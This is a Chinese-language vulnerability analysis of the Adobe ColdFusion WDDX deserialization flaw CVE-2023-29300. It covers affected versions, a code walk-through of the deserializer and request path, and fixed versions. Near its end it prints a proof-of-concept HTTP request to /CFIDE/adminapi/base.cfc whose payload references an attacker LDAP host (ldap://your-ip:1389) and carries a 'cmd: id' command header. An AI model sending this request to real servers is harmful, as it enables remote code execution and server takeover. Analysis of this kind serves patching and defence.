漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)

1.漏洞描述

Adobe ColdFusion是美国奥多比(Adobe)公司的一套快速应用程序开发平台。该平台包括集成开发环境和脚本语言。

Adobe ColdFusion存在代码问题漏洞,该漏洞源于受到不受信任数据反序列化漏洞的影响,攻击者通过漏洞可以代码执行,可导致服务器失陷,获取服务器权限。

2.影响版本

ColdFusion 2018 <= Update 16 

ColdFusion 2021 <= Update 6 

ColdFusion 2023 GA Release (2023.0.0.330468)

3.影响范围

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第1张图片

4.漏洞分析

首先git diff 并观察到coldfusion.wddx.DeserializerWorker.java文件中的显着变化。

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第2张图片

这是一个XML 类型的WDDX数据包解串器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() forstruct元素执行的。

实现了coldfusion.wddx.WddxObjectSerializer接口的各个序列化器能够对数据进行 WDDX 序列化,如StringSerializer,NumberSerializer,BeanSerializer等等。

使用BeanSerializer对自定义的 Java Bean 进行序列化,调试过程中也可以看到对象类型与序列化器默认的映射关系。
漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第3张图片

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第4张图片

反序列化由coldfusion.wddx.WddxDeserializer类实现。

对于 ColdFusion 来说,WDDX 中的每个元素都是一个WddxElement,不同的元素对应着不同的Handler处理类,例如标签中的元素与属性将由StringHandler处理,标签会由StructHandler处理。

看看onStartElement()和onEndElement()方法

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第5张图片

onStartElement()和onEndElement()是 SAX 解析器(Simple API for XML)中的回调方法,分别在解析到 XML 元素的开始和结束标签时被调用。可以看到标签的type属性将在onStartElement()方法中被赋值给变量m_strictType。

getClassBySignature()

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第6张图片

这里首先会截掉type属性的前后两字符,然后将剩下的字符串视作类名,调用Class.forName()方法进行类加载,并紧接着在onEndElement()方法中调用其无参构造。

接下来StructHandler#setBeanProperties()方法中存在明显的Method#invoke()操作,目的是调用目标对象的 setter 方法,为刚刚被实例化的对象属性赋值。

寻找传入序列化 payload 并触发反序列化的途径

跟进coldfusion.filter.FilterUtils#WDDXDeserialize()

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第7张图片

跟进FilterUtils#GetArgumentCollection()

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第8张图片

分析findAttribute()方法可知,参数为url.xxx表示从请求的 URL 中获取xxx的参数值,form.yyy表示从上传的表单中获取yyy的参数值。

继续向上追溯,最终定位到coldfusion.filter.ComponentFilter#invoke()方法中。

ComponentFilter是一个继承了FusionFilter抽象类的过滤器,既然和过滤器扯上了关系,第一步肯定就是检查 web.xml 配置文件了。

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第9张图片

可知解析 .cfc 页面的 Servlet 即CFCServlet。
跟进CFCServlet的getCFCFilterChain()方法

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第10张图片

其返回的 Filter Chain 中正好包含有ComponentFilter。

需要注意的是,PathFilter会检查访问的目标文件是否存在,因此我们不能访问一个服务器中不存在的 .cfc 文件。

据此尝试构造如下数据包,一路跟进到ComponentFilter#invoke()方法:

POST /CFIDE/adminapi/base.cfc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=*poc*

漏洞分析|Adobe ColdFusion 反序列化漏洞(CVE-2023-29300)_第11张图片

这里还有个if判断,如果没有传入method参数的话就会提前返回 302,截断我们的攻击路径。
我们给上method参数即可

这样我们就能跳过if,调用GetArgumentCollection()方法将序列化后的恶意数据传入服务器了。

Poc:
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: id
 
argumentCollection=

    
ldap://your-ip:1389/Basic/TomcatEcho

5.修复建议

目前这些漏洞已经修复,受影响用户可升级到以下版本:

Adobe ColdFusion 2018 >=  2018 Update 17
Adobe ColdFusion 2021 >=  2021 Update 7
Adobe ColdFusion 2023 >=  2023 Update 1


参考链接:
https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

你可能感兴趣的:(adobe,安全)